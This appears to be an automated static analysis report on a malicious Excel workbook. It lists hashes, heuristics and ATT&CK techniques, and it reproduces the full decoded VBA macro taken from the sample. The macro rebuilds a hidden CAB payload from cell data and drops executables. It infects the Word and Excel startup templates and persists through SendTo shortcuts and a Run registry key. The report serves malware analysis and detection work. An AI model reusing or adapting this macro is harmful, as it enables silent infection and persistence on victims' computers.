Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8971890224bbba46…

MALICIOUS

Office (OLE)

635.0 KB Created: 2010-07-01 06:03:55 Authoring application: Microsoft Excel First seen: 2015-09-27
MD5: 8005e9f502b9015accb8e93d0148cad0 SHA-1: b50dc380bf2dacade1d722d2bc86ab9c702537b1 SHA-256: 8971890224bbba461fcc43f6e9231c163772b39f31f5e675c1be6605d35d716f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains both VBA and Excel 4.0 (XLM) macros, indicating a multi-stage approach to execution. The VBA macro utilizes `CreateObject("scripting.filesystemobject")` and `CreateObject("wscript.shell")` to create directories, manipulate files, and execute commands. Specifically, it attempts to extract `cab.cab` using `extrac32` and `extract`, and then copies `normal.dot` and `norma1.xlm` to startup locations. The script also attempts to copy `internet.exe` to the user's SendTo folder and modifies shortcuts within that folder, suggesting an attempt to establish persistence or facilitate further execution. The presence of `wscript.shell` usage and the execution of external commands point towards the execution of a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set w = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fso = CreateObject("scripting.filesystemobject")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2808 bytes
SHA-256: 071361a99a1431d40e0c3041987210a7a2134c5eb423dbe3dcb87fe5192b4347
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub createcabfile()
Dim ch As Byte
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
myfolder = w.SpecialFolders("Templates") & "\Software\"
If Not fso.folderexists(myfolder) Then
fso.createfolder myfolder
End If
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "normal.xlm" Then
Workbooks(i).Close
fso.deletefile Application.StartupPath & "\normal.xlm"
End If
Next
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "norma1.xlm" Then
GoTo a1
End If
Next
cabfile = "c:\cab.cab"
If Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Then
fso.Delete cabfile
Open cabfile For Binary Access Write As #1
For i = 1 To 150
hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
ch = CByte(Mid(hv, n, m - n))
Put #1, , ch
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True
w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True
w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, True
fso.deletefile cabfile
fso.copyfile "c:\normal.dot", myfolder, True
Set word = CreateObject("word.application")
ntpath = word.NormalTemplate.Path & "\"
word.Quit
fso.copyfile "c:\normal.dot", ntpath, True
fso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True
fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"
Set fold = fso.getfolder(w.SpecialFolders("SendTo"))
For Each ff In fold.Files
If InStr(ff.Name, "软盘") > 0 Then
Set lnk = w.CreateShortcut(fold.Path & "\" & ff.Name)
lnk.TargetPath = "c:\sendto.exe"
lnk.IconLocation = "shell32.dll,6"
lnk.Save
GoTo e2
End If
Next
e2:
fso.deletefile "c:\normal.dot"
fso.deletefile "c:\norma1.xlm"
fso.deletefile "c:\internet.exe"
w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, True
w.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe", "internet.exe"
w.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"
End If
Workbooks.Open Application.StartupPath & "\norma1.xlm"
ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy Workbooks("norma1.xlm").Sheets("(m1)_(m2)_(m3)").Columns(2)
Workbooks("norma1.xlm").Save
fso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, True
a1:
fso.deletefile "c:\excel.txt"
Application.DisplayAlerts = False
For i = 1 To ThisWorkbook.Sheets.Count
If Left(ThisWorkbook.Sheets(i).Name, 3) = "模块表" Then
ThisWorkbook.Sheets(i).Delete
End If
Next
Application.DisplayAlerts = True
ThisWorkbook.Saved = True
End Sub

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